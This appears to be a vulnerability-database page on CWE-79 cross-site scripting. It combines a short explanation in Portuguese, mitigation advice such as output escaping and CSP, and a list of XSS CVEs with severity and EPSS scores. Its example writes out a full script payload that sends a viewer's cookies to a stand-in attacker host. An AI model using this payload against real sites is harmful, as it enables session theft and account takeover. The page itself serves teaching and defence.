Fallos del tipo CWE-79

28.675 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-20638MEDIUMCisco Security Manager Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2022-20640MEDIUMCisco Security Manager Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2022-20644MEDIUMCisco Security Manager Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2021-37633HIGHXSS via d-popover and d-html-popover attributeEPSS 0.8%CVE-2021-4365HIGHFrontend File Manager <= 18.2 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.8%CVE-2022-1726MEDIUMBootstrap Tables XSS vulnerability with Table Export plug-in when exportOptions: htmlContent is true in wenzhixin/bootstrap-tableEPSS 0.8%CVE-2024-42758MEDIUMA Cross-site Scripting (XSS) vulnerability exists in version v2024-01-05 of the indexmenu plugin when is used and enabled in Dokuwiki (Open EPSS 0.8%CVE-2024-47604HIGHXSS vulnerability in NuGetGallery HTML attributes handlingEPSS 0.8%CVE-2020-1697MEDIUMIt was found in all keycloak versions before 9.0.0 that links to external applications (Application Links) in the admin console are not valiEPSS 0.8%CVE-2021-39319MEDIUMduoFAQ - Responsive, Flat, Simple FAQ <= 1.4.8 Reflected Cross-Site ScriptingEPSS 0.8%CVE-2021-39309MEDIUMParsian Bank Gateway for Woocommerce <= 1.0 Reflected Cross-Site ScriptingEPSS 0.8%CVE-2022-29421MEDIUMWordPress Countdown & Clock plugin <= 2.3.2 - Reflected Cross-Site Scripting (XSS) vulnerabilityEPSS 0.8%CVE-2021-24999—Booster for Woocommerce < 5.4.9 - Reflected Cross-Site Scripting in PDF Invoicing ModuleEPSS 0.8%CVE-2021-24841—Helpful < 4.4.59 - Admin+ Stored Cross-Site ScriptingEPSS 0.8%CVE-2022-29415MEDIUMWordPress Ravpage plugin <= 2.16 - Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerabilityEPSS 0.8%CVE-2021-25000—Booster for WooCommerce < 5.4.9 - Reflected Cross-Site Scripting in General ModuleEPSS 0.8%CVE-2021-39315MEDIUMMagic Post Voice <= 1.2 Reflected Cross-Site ScriptingEPSS 0.8%CVE-2023-44286HIGH Dell PowerProtect DD , versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 contain a DOM-based Cross-Site Scripting vulneraEPSS 0.8%CVE-2021-25982MEDIUMFactorJS - Reflected Cross-Site Scripting (XSS) in Search FunctionalityEPSS 0.8%CVE-2021-39314MEDIUMWooCommerce EnvioPack <= 1.2 Reflected Cross-Site ScriptingEPSS 0.8%